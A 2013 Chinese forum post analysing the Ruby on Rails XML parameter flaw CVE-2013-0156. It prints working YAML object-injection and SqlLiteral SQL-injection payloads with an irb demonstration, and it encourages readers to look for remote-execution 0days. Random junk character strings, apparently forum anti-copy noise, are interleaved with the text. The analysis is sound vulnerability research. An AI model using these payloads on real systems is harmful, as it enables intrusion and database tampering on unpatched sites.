中国网络渗透测试联盟

标题: Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析 [打印本页]

作者: admin    时间: 2013-1-11 21:16
标题: Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析
Author: wofeiwo#80sec.com
- J% A1 U3 M& m9 {: R/ A$ p6 ^' U2 V! u: I1 y
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。
8 D" S  M  y9 u- j  C% e3 m: U+ Y8 x; Q, [
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. ) U3 A, K7 ?1 B) B' c0 n& x
" `9 x1 e  O/ \( r0 s# ?6 a
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. # o1 ?* J! {. j5 y2 R5 k' T

5 l& j7 R9 \3 e/ j) F9 _' ^, j为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
) }: k  m" J+ }9 ~
. g4 G) Y2 ]# l: M6 Q+ Q<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
1 |, t6 L: u/ h3 C+ z, G0 V0 g: W+ G
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. 4 \# V2 L1 m4 }: A" l, e
0 l3 `. {- X$ N0 Y" D1 d5 F6 ]
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
+ a3 C6 [6 Z" `4 N5 \6 K4 P
; M! {* P5 k7 w) G然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。 7 w" {3 J5 G: L9 j

6 V- w; i: Y) ]6 V) A但是等等,还有另一个参数类型,yaml。 # T9 w, B  N2 O' T/ u! Q* m& v
( a4 q4 I7 d0 M2 {
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 + C2 w5 |# x! k% q0 V8 I
! [3 u6 P; ]' F+ s* _
<test type="yaml">--- !ruby/object:A
5 u4 x- f0 D: g* A8 Caaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
+ T7 y) x& T1 [4 ^0 u7 i& p- f. f' q+ L" i3 _* l3 S3 S' k
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
/ l% `( s7 w0 M( `. o4 Z+ X
3 T* T1 e$ n* O3 D7 n0 c% K如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。
+ T7 l9 m+ A+ s8 `: B3 y% e
9 G! Q4 m  e& J/ L! i2 `一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) , q1 ^; C) g% @) I; Q* |, A

: ~/ A9 ~1 ~9 n" [, i" ~model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
0 n" B$ M$ D7 c$ x3 J& l: r( e# i5 g* i5 s& I7 H& T- q
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
% z( n/ V' }" y6 h0 L1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 - j- H2 S! V+ Z4 d

+ z$ t0 ~' y6 a# n, g: x* Nirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
% @! Q; k( |+ T2 a* ?# J4 W# y7 S0 z/ y, b5 ~; J





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2